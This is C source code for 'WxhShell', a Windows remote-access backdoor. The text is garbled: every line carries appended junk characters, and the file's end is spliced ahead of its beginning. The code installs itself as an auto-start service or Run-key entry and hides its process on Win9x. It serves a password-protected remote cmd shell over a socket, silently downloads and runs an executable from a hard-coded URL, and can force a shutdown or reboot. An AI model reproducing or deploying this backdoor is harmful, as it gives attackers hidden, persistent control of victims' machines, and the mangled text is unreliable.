    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;~EQS.Qp  
    if(Boot(SHUTDOWN)) ,VHqZ'6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )63 $,y-;$  
    else { O=A2QykV(  
    closesocket(wsh); H*'1bLzq  
    ExitThread(0); 8o$rF7.-  
    } [/CGV8+  
    break; njF$1? )sq  
    } &ASR2J  
  // 获取shell 4"|Xndh1.  
  case 's': { =FrB{Eu  
    CmdShell(wsh); MLu!8dgI  
    closesocket(wsh); XP:A"WK"  
    ExitThread(0); P[ 2!D)A  
    break; wSN9`"  
  } ( Jk& U8y  
  // 退出 1)56ec<c  
  case 'x': { YV<y-,Io  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gSz<K.CT  
    CloseIt(wsh); LE\=Y;%  
    break; lh8Q tPe  
    }  X0VS a{  
  // 离开 h0'*)`;z  
  case 'q': { C9!t&<\ }  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uiVN z8H  
    closesocket(wsh); FH+X<  
    WSACleanup(); "bm|p/A  
    exit(1); HIXAA?_eh=  
    break; H648[H[k  
        } apo)cR  
  } % i4 5  
  } |9#q7kM  
c ZYy+  
  // 提示信息 +/~]fI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eV[{c %wN:  
} xB *b7-a  
  } gV2vwe  
)`DVPudiy  
  return; T/_u;My;  
} Q K]P=pE'C  
rH3U;K!  
// shell模块句柄 |U%NPw5  
int CmdShell(SOCKET sock) ,/\`Rc^n  
{ ';tlV u  
STARTUPINFO si; r&{8/ 5 "  
ZeroMemory(&si,sizeof(si)); >)kKP8l7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; * Gg7(cnpw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x?Abk  
PROCESS_INFORMATION ProcessInfo; x MJ-=  
char cmdline[]="cmd"; _:r8UVAT.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sL$sj|"S  
  return 0; ?Mjs[|  
} 16iTE-J_  
M|(VM=~  
// 自身启动模式 b)diYsTH  
int StartFromService(void) h4hAzFQ.s  
{ 3:,%># "  
typedef struct TO6F  
{ + -<8^y  
  DWORD ExitStatus; Y25`vE(  
  DWORD PebBaseAddress; Hn/t'D3  
  DWORD AffinityMask; xV> .]  
  DWORD BasePriority; 1=5"j]0hY  
  ULONG UniqueProcessId; *~PB  
  ULONG InheritedFromUniqueProcessId; 56Wh<i3  
}   PROCESS_BASIC_INFORMATION; | .jWz.c  
G4|C227EO  
PROCNTQSIP NtQueryInformationProcess; C*YQ{Mz(f  
G8repY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f#s6 'g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EXSH{P O+  
f7&ni#^Ztj  
  HANDLE             hProcess; ?p{ -Yp*h  
  PROCESS_BASIC_INFORMATION pbi; JI@iT6.%IX  
z 0?MeH#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $ .tT  
  if(NULL == hInst ) return 0; <aPZE6z  
Xe4   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T!x/^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3~sV-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )u(,.O[cw  
jZ~girA  
  if (!NtQueryInformationProcess) return 0; w"v96%"Y  
o "r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dw6ysOR@  
  if(!hProcess) return 0; JrBPx/?(,;  
Aw7N'0K9UN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bl>m`/\1i  
R*6TS"aL  
  CloseHandle(hProcess); O]I AIM  
'l<#;{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TFHYB9vV  
if(hProcess==NULL) return 0; ^2 dQVV.  
}X9 &!A8z  
HMODULE hMod; zeGWM,!  
char procName[255]; HDhkg-QC  
unsigned long cbNeeded; "C}<umJ'  
o"qxR'V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U2`:'  
7b~uU@L`  
  CloseHandle(hProcess); I!!cA?W  
b\\l EM>o1  
if(strstr(procName,"services")) return 1; // 以服务启动 !}} )f/  
uBG!R#T  
  return 0; // 注册表启动 vAP1PQX;  
} NP3 e^  
gR/?MJ(v  
// 主模块 dOaOWMrfdf  
int StartWxhshell(LPSTR lpCmdLine) w!`e!}  
{ ?0 cv  
  SOCKET wsl; 0`pCgF  
BOOL val=TRUE; MHp:".1  
  int port=0; Swf%WuDj  
  struct sockaddr_in door; E\}A<r  
r7R39#  
  if(wscfg.ws_autoins) Install(); n"?*"Ya  
H{*rV>%  
port=atoi(lpCmdLine); ;pL!cG@  
SP<(24zdd  
if(port<=0) port=wscfg.ws_port; Ca5LLG  
mCn:{G8+  
  WSADATA data; jc3Q3Th/zn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jp "Q[gR##  
JS03B Itt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O,7S1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <^$ppwk $  
  door.sin_family = AF_INET; 3{qB<*!p"G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X   
  door.sin_port = htons(port); W2%@}IDm  
X!{K`~DRX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d %FLk=]  
closesocket(wsl); Q e/XEW  
return 1; u)zv`m  
} 8 mOGEx  
2xUgM}e  
  if(listen(wsl,2) == INVALID_SOCKET) { #" "T>+  
closesocket(wsl); #I MaN%  
return 1; -cJ,rrN_9  
} VcsM Da  
  Wxhshell(wsl); Af@\g-<W_  
  WSACleanup(); }l}_'FmQ  
"\vQVZd-E  
return 0; RnC+]J+?4  
b)#rUI|O  
} ;K7kBp\d  
;xUo(^t7>  
// 以NT服务方式启动 B[h^]k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1=T;68B  
{ 'C`Ykjf  
DWORD   status = 0; MSBrI3MqQ  
  DWORD   specificError = 0xfffffff; @+~>utr  
J"S(GL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F/1m&1t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0;)Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O3T7O`H[  
  serviceStatus.dwWin32ExitCode     = 0; x)Zm5&"Gg  
  serviceStatus.dwServiceSpecificExitCode = 0; 8mLW^R:`  
  serviceStatus.dwCheckPoint       = 0; )}"`$6:k`  
  serviceStatus.dwWaitHint       = 0; 3*\Q]|SI!  
T~L V\}h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _<F;&(o  
  if (hServiceStatusHandle==0) return; 3b#L*-  
@PLJ)RL  
status = GetLastError(); &w`DF,k|  
  if (status!=NO_ERROR) Q}l~n)=  
{ O&y`:#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2A";o E  
    serviceStatus.dwCheckPoint       = 0; L<iRqayn  
    serviceStatus.dwWaitHint       = 0; 0y/31hp  
    serviceStatus.dwWin32ExitCode     = status; 9LBZMQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; [MKG5=kaE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |N)),/R_  
    return; fE)o-q6Z  
  } JKrS;J^97v  
.p o,.}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u)r:0;5  
  serviceStatus.dwCheckPoint       = 0; qP&:9eL  
  serviceStatus.dwWaitHint       = 0; E^ c *x^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '+vmC*-I(  
} nN-S5?X#  
b5Q>e%i#  
// 处理NT服务事件,比如:启动、停止 :?y Ma$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .,#H]?Wil  
{ IoK/2Gp  
switch(fdwControl) u^JsKG+,:  
{ b5 NlL`g  
case SERVICE_CONTROL_STOP: 4 83rU  
  serviceStatus.dwWin32ExitCode = 0; E]m?R 4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Z me?o*bY  
  serviceStatus.dwCheckPoint   = 0; ^Mc9MZ)  
  serviceStatus.dwWaitHint     = 0; y:Of~ ]9@  
  { ; Ad5Jk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Suo$wZ7J  
  } N]| >\  
  return; H|wP8uQC  
case SERVICE_CONTROL_PAUSE: +w?R4Sxjn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v*dw'i  
  break; {i8 zM6eC  
case SERVICE_CONTROL_CONTINUE: Xxd]j]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hLk6Hqr7  
  break; 0x]?rd+q8Q  
case SERVICE_CONTROL_INTERROGATE: =8<~pr-NO  
  break; NV9JMB{q  
}; :E~rve'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T{f$S  
} +`{OOp=  
7[u>#8  
// 标准应用程序主函数 w=rD8 @  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pPo xx"y  
{ {N/%%O.b  
{Y Y,{H  
// 获取操作系统版本 r@Jy*2[-Jq  
OsIsNt=GetOsVer(); '/@wk#,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]Zc|<f;  
Q3&q%n|<  
  // 从命令行安装 r-.@MbBm  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1TGRIe)  
;`:YZ+2 Z  
  // 下载执行文件 GfEWms8z  
if(wscfg.ws_downexe) { $GGaR x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 25{_x3t^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'EXx'z;/#  
} ,%l}TSs  
/9I/^i~  
if(!OsIsNt) { H;=Fq+  
// 如果时win9x,隐藏进程并且设置为注册表启动 "z3rH~q72  
HideProc(); |3@DCb T  
StartWxhshell(lpCmdLine); tLfhW1"  
} W [K.|8ho  
else mOn_#2=KF  
  if(StartFromService()) [p`5$\e  
  // 以服务方式启动 Uza '%R  
  StartServiceCtrlDispatcher(DispatchTable); tZKw(<am  
else LjG^c>[:m  
  // 普通方式启动 @y`xFPB  
  StartWxhshell(lpCmdLine); Cg]),S  
g;8 wP5i  
return 0; sAL ]N][Y  
} % |D)%|Z  
+W*~=*h|  
!#O [RS  
NBc^(F"  
=========================================== KBN% TqH|  
#Q^" .#  
/]xa}{^B  
?[NC}LC  
=ZIT!B?4  
4r1\&sI$~  
" i!?gga  
71c[ `h*0{  
#include <stdio.h> 8a P/vToa  
#include <string.h> bhpku=ov  
#include <windows.h> TD}<U8I8_  
#include <winsock2.h> ?";SUku  
#include <winsvc.h> !EB<N<P"t  
#include <urlmon.h> DdgiY9a.  
P)=.D u)  
#pragma comment (lib, "Ws2_32.lib") /^BC Qaj  
#pragma comment (lib, "urlmon.lib") k5.5$<< T  
U@mznf* J  
#define MAX_USER   100 // 最大客户端连接数 !-f Bw  
#define BUF_SOCK   200 // sock buffer ?W'p&(;  
#define KEY_BUFF   255 // 输入 buffer L9 D`hefz  
EX`P(=zD  
#define REBOOT     0   // 重启 ;Y`Y1  
#define SHUTDOWN   1   // 关机 G-Tmk7m  
9RaO[j`  
#define DEF_PORT   5000 // 监听端口 }p7iv:P=3  
-[V-f> :  
#define REG_LEN     16   // 注册表键长度 ^hC'\09=c  
#define SVC_LEN     80   // NT服务名长度 d]l8ei@>h  
?0VR2Yb${b  
// 从dll定义API 7w/IHML  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /9w>:i81  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $E\|\g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q!5:M\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \c}(rqT  
RP&bb{Y  
// wxhshell配置信息 BPba3G9H  
struct WSCFG { K T}  
  int ws_port;         // 监听端口 )|F|\6:ne  
  char ws_passstr[REG_LEN]; // 口令 6Dq4Q|C  
  int ws_autoins;       // 安装标记, 1=yes 0=no k&]nF,f  
  char ws_regname[REG_LEN]; // 注册表键名 rVYoxXv  
  char ws_svcname[REG_LEN]; // 服务名 m|@H`=`d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _IDZ.\'>$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TC\+>LXiZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W7i|uTM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tu#< {'1$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <\aeC2~M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yGZsNd {a&  
{m.$EoS  
}; {*ak>Wud  
?{{w[U6NE  
// default Wxhshell configuration ETe4I`d{  
struct WSCFG wscfg={DEF_PORT, 'ZfgCu)St  
    "xuhuanlingzhe", -u2i"I730  
    1, '$K E= Jy  
    "Wxhshell", "s*-dZO  
    "Wxhshell", q+ $6D;9  
            "WxhShell Service", (yOkf-e2y  
    "Wrsky Windows CmdShell Service", 1j<(?MT-  
    "Please Input Your Password: ", 6o 3 bq|  
  1, O !L`0 =%c  
  "http://www.wrsky.com/wxhshell.exe", 'y8{, R4C  
  "Wxhshell.exe" EdJL&*  
    }; <j'V}|3  
b'H'QY   
// 消息定义模块 ^.SYAwL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y?VbgOM)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NR{wq|"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gV_/t+jI  
char *msg_ws_ext="\n\rExit."; 4`IM[DIG~  
char *msg_ws_end="\n\rQuit."; Nk`UQ~g$  
char *msg_ws_boot="\n\rReboot..."; )?L=o0  
char *msg_ws_poff="\n\rShutdown..."; 5gszAvOO  
char *msg_ws_down="\n\rSave to "; @=Kq99=\U  
sGvbL-S-f:  
char *msg_ws_err="\n\rErr!"; S2~cAhR|M  
char *msg_ws_ok="\n\rOK!"; J~Xv R  
Kz4S6N c  
char ExeFile[MAX_PATH]; !Brtao"m  
int nUser = 0; W L$^B@gXQ  
HANDLE handles[MAX_USER]; j =_rUc'Me  
int OsIsNt; &J[a.:..  
l^B.iB  
SERVICE_STATUS       serviceStatus; =BsV`p7rU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KaGUpHw  
g;IlS*Ld  
// 函数声明 ^?69|,  
int Install(void); -+9[X*VCc  
int Uninstall(void); g(DD8;]w<  
int DownloadFile(char *sURL, SOCKET wsh); F /b`[  
int Boot(int flag); ]6&NIz`:,  
void HideProc(void); snV*gSUH  
int GetOsVer(void); `sxfj)s  
int Wxhshell(SOCKET wsl); ]-PzN'5\'  
void TalkWithClient(void *cs); +)Te)^&v%  
int CmdShell(SOCKET sock); \ /-c)  
int StartFromService(void); }fpya2Xt  
int StartWxhshell(LPSTR lpCmdLine); ]n ?x tI  
ijI/z5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]m]`J|%i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'X~tt#T  
z*Sm5i&)_q  
// 数据结构和表定义 v1h(_NLI!  
SERVICE_TABLE_ENTRY DispatchTable[] = ~Eut_d  
{ e_BG%+;G,  
{wscfg.ws_svcname, NTServiceMain}, yIw}n67  
{NULL, NULL} C2LPLquD+  
}; fF:57*ys  
~/:vr  
// 自我安装 gmTBT#{6yH  
int Install(void) iP/v "g"g  
{ myx/|-V"F  
  char svExeFile[MAX_PATH]; &9k~\;x  
  HKEY key; ;%|im?  
  strcpy(svExeFile,ExeFile); `i{d"H0E  
^Fk;t  
// 如果是win9x系统,修改注册表设为自启动 }v(wjD  
if(!OsIsNt) { c0Ug5Vr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F[qXIL)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pMF vL  
  RegCloseKey(key); GqFx^dY4*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p_r`"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2 a<\4w'  
  RegCloseKey(key); dQut8>0&  
  return 0; {+N< 9(O  
    } lED!}h'4  
  } A`c22Ls]  
} LS@TTiN   
else { uf(ayDE  
 %zavSm"  
// 如果是NT以上系统,安装为系统服务 -15e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jzvK;*N  
if (schSCManager!=0) 0'q4=!l  
{ >Wg= Tuef  
  SC_HANDLE schService = CreateService :cpj{v;s  
  ( ,n|si#  
  schSCManager, za l]t$z>  
  wscfg.ws_svcname, jKSj);  
  wscfg.ws_svcdisp, $ m`Dyu  
  SERVICE_ALL_ACCESS, zcpL[@B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YMGy-]!o  
  SERVICE_AUTO_START, o$_0Qs$  
  SERVICE_ERROR_NORMAL, OT#@\/>  
  svExeFile, o<g?*"TRh  
  NULL, =g% L$b<i  
  NULL, 3 ML][|TR  
  NULL, [i.@q}c~E  
  NULL, UBo0c?,4  
  NULL YOxgpQ:i  
  ); opX07~1  
  if (schService!=0) eAHY/Y!  
  { dT`nR"  
  CloseServiceHandle(schService); ~Nh6po{  
  CloseServiceHandle(schSCManager); O{:{P5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YSjc=  
  strcat(svExeFile,wscfg.ws_svcname); 'CBwE&AL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WC_.j^sW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B'/U#>/  
  RegCloseKey(key); Y;af|?U*6:  
  return 0; 0'&C5v'  
    } N'1I6e"  
  } cGot0' mB  
  CloseServiceHandle(schSCManager); (>`_N%_  
} Nr4Fp`b8  
} 3s\UU2yr  
3G// _f  
return 1; -e_fn&2,Y  
} q NGR6i  
>N3X/8KL%  
// 自我卸载 ? Fqh i  
int Uninstall(void) <3Ftq=  
{ H UJqB0D ?  
  HKEY key; 6/!:vsa"3  
+=WBH'  
if(!OsIsNt) { g5BL"Dn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o!xCM:+J  
  RegDeleteValue(key,wscfg.ws_regname); ``xm##K  
  RegCloseKey(key); ~|u;z,\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V .Kjcy  
  RegDeleteValue(key,wscfg.ws_regname); 6Dd>ex!-A  
  RegCloseKey(key); t%@iF U;}  
  return 0; RXRbW%b  
  } GEPWb[Oa  
} 74_?@Z(  
} RqROl!6  
else { cGE{dWz  
1@Ba7>%'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?M90K)&g{  
if (schSCManager!=0) U=v>gNba  
{ ^;II@n i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c coi  
  if (schService!=0) x ]VycS  
  { +5fB?0D;  
  if(DeleteService(schService)!=0) { n3e,vP? R  
  CloseServiceHandle(schService); fMwF|;  
  CloseServiceHandle(schSCManager); g.\b@0Uy'  
  return 0; f}dlQkZ(  
  } tFcQ.1  
  CloseServiceHandle(schService); &4E|c[HN  
  } X&Oo[Z  
  CloseServiceHandle(schSCManager); Tp;W  
} h`Jc%6o  
} 5REH`-  
`&I6=,YLp  
return 1; 1uo |a  
} %g*nd#wG  
*b;)7lj0h  
// 从指定url下载文件 /5%'q~  
int DownloadFile(char *sURL, SOCKET wsh) yXkQ ,y  
{ I'D3~UI f  
  HRESULT hr; YBY;$&9  
char seps[]= "/"; 52^3N>X4X  
char *token; ?Gf'G{^}  
char *file; ,T;sWl  
char myURL[MAX_PATH]; B^19![v3T  
char myFILE[MAX_PATH]; "eoPG#]&  
ks$5$,^T2o  
strcpy(myURL,sURL); H!NGY]z*  
  token=strtok(myURL,seps); lC*xyO K  
  while(token!=NULL) 2U%t  
  { bSM|"  
    file=token; @MQfeM-@  
  token=strtok(NULL,seps); <S_0=U  
  } =}ZY`O*/  
w2$ L;q  
GetCurrentDirectory(MAX_PATH,myFILE); 7|Vpk&.>  
strcat(myFILE, "\\"); DvN_}h^nX  
strcat(myFILE, file); x1 LI&  
  send(wsh,myFILE,strlen(myFILE),0); 0?R$>=u  
send(wsh,"...",3,0); HJr*\%D}1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b`wT*&  
  if(hr==S_OK) ^`-Hg=d  
return 0; ~+\A4BW  
else 5 Bcmz'?!  
return 1; <)cmI .J3  
.&=\ *cZc  
} tIA)LF  
+=`w  
// 系统电源模块 3F6'3NvVc2  
int Boot(int flag) : Q,O:  
{ ?h7[^sxJ  
  HANDLE hToken; 9<Zm}PE32  
  TOKEN_PRIVILEGES tkp; aF=;v*  
oW7;t  
  if(OsIsNt) { Ux,dj8=o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *nM.`7g*[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <!u(_Bxw/  
    tkp.PrivilegeCount = 1; DL_M#c`<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZZL%5{ w_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d76C ]R5L  
if(flag==REBOOT) { gi A(VUwI>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4[0.M  
  return 0; KE)^S [Da  
} n[-d~Ce2{  
else { d[(%5pw~zL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? !34qh  
  return 0; a 8jG')zg  
} QD[l 6  
  } 51%<N\>/4  
  else { BW)t2kR&  
if(flag==REBOOT) { WtSlD9 h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 87V XVI  
  return 0; Zfr?(y+3  
} (i'wa6[E8  
else { *u<@_Oa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MU_ >+Wnf  
  return 0; A`1/g{Ha  
} 0xutG/-&N  
} `^E(P1oJ3  
 hWu#}iN  
return 1; {' |yb  
} q->46{s|  
#lm1"~`5  
// win9x进程隐藏模块 -aMwC5iR@  
void HideProc(void) "2/VDB4!FG  
{ Xp3cYS*u  
p&\x*~6u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (aH_K07  
  if ( hKernel != NULL ) ?9H.JR2s%  
  { d3C*]|gQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $VJ=A<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K>$od^f%c  
    FreeLibrary(hKernel); seH#v  
  } *SZ*S %oS3  
M*c`@\  
return; aKCXV[PO   
} >&9Iy"  
7,"1%^tU  
// 获取操作系统版本 v4< x 4  
int GetOsVer(void) U `"nX)$  
{ `Uw^,r  
  OSVERSIONINFO winfo; ~F]- +|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0?j+d8*  
  GetVersionEx(&winfo); VuW&CnZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WYE[H9x1?  
  return 1; !$+J7\& 7p  
  else CLD*\)QD\  
  return 0; N1!|nS3w  
} 7<?v!vQ}-  
`}u~nu<  
// 客户端句柄模块 sOW-GWSE<  
int Wxhshell(SOCKET wsl) m5LP~Gb  
{ lBTgI"n=eK  
  SOCKET wsh; SR S~s  
  struct sockaddr_in client; an<tupi[E  
  DWORD myID; aARm nV  
#,qikKjt2  
  while(nUser<MAX_USER) 66%kq [  
{ 5,qfr!hN,  
  int nSize=sizeof(client); 4S.%y7d\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?Zoq|Q+  
  if(wsh==INVALID_SOCKET) return 1; I)O-i_}L&K  
(F7!&]8%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /^0Hi4+\  
if(handles[nUser]==0) 7z6yn= B  
  closesocket(wsh); @v2kAOw[  
else J(-#(kMyf  
  nUser++; diqG8KaK  
  } ;LH?Qu;e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t/S~CIA  
ScfW;  
  return 0; poHDA=# 3  
} !cE)LG  
JUU0Tx:`9)  
// 关闭 socket  Jb {m  
void CloseIt(SOCKET wsh) <v[,A8Q  
{ P67r+P,  
closesocket(wsh); wEzLfZ Oz/  
nUser--; +|( eP_  
ExitThread(0); x%x:gkq  
} K#F~$k|1B  
 NP^kbF  
// 客户端请求句柄 kG,6;aVZ8  
void TalkWithClient(void *cs) ?~S\^4]  
{ kRE^G*?  
\&AmX8" [  
  SOCKET wsh=(SOCKET)cs; ^O[q C X  
  char pwd[SVC_LEN]; )Hlr 09t=]  
  char cmd[KEY_BUFF]; Fz)z&WT  
char chr[1]; 3r^i>r8B  
int i,j; "W:'cIw  
AytHnp\H  
  while (nUser < MAX_USER) { O2Rv^la  
;U}lh~e11  
if(wscfg.ws_passstr) { g4j?E{M?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ='OPU5(;O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tq>QZEg  
  //ZeroMemory(pwd,KEY_BUFF); 5oWR}qqFK  
      i=0; +l&ZN\@0X  
  while(i<SVC_LEN) { Y@^M U->+  
b^5rV5d  
  // 设置超时 yHk/8  
  fd_set FdRead; V!3O 1  
  struct timeval TimeOut;  +<AX 0(  
  FD_ZERO(&FdRead); ~++y4NB8Q  
  FD_SET(wsh,&FdRead); X )g <F  
  TimeOut.tv_sec=8; .azdAq'r&\  
  TimeOut.tv_usec=0; J0lTp /  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `2d,=.X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oXV  
E@P8-x'i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AVi w}Y J  
  pwd=chr[0]; qeSxE`E"  
  if(chr[0]==0xd || chr[0]==0xa) { nP4jOq*H  
  pwd=0; !1)lGjMW  
  break; !}Cd_tj6  
  } B]InOlc47  
  i++; <+" Jh_N#  
    } ix$?/GlL  
*w59BO&M4  
  // 如果是非法用户,关闭 socket ~%k<N/B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zpiqJEf|'"  
} @B*?owba>  
b 9F=}.4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QpAK]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HpuHJ#l  
C B=H1+  
while(1) { kiZA$:V8  
B@=+Fg DD  
  ZeroMemory(cmd,KEY_BUFF); S;MS,R  
b;Pqq@P|g  
      // 自动支持客户端 telnet标准   }*hY#jo1  
  j=0; QOcB ]G  
  while(j<KEY_BUFF) { {1>V~e8t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "<t/*$42  
  cmd[j]=chr[0]; ShxB!/s  
  if(chr[0]==0xa || chr[0]==0xd) { wz$1^ml  
  cmd[j]=0; TfDx> F$  
  break; }rxFX  
  } a7)q^;:O  
  j++; q4|TwRx~  
    } G5Y 8]N  
~}i &gd|(  
  // 下载文件 `)*   
  if(strstr(cmd,"http://")) { 8h78Zb&[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "$;=8O5O  
  if(DownloadFile(cmd,wsh)) \vs,$h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DAj@wn3K?  
  else  ^GB9!d.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y]0oF_ :7  
  } ;<1O86!  
  else { ? }|;ai  
0cC5  
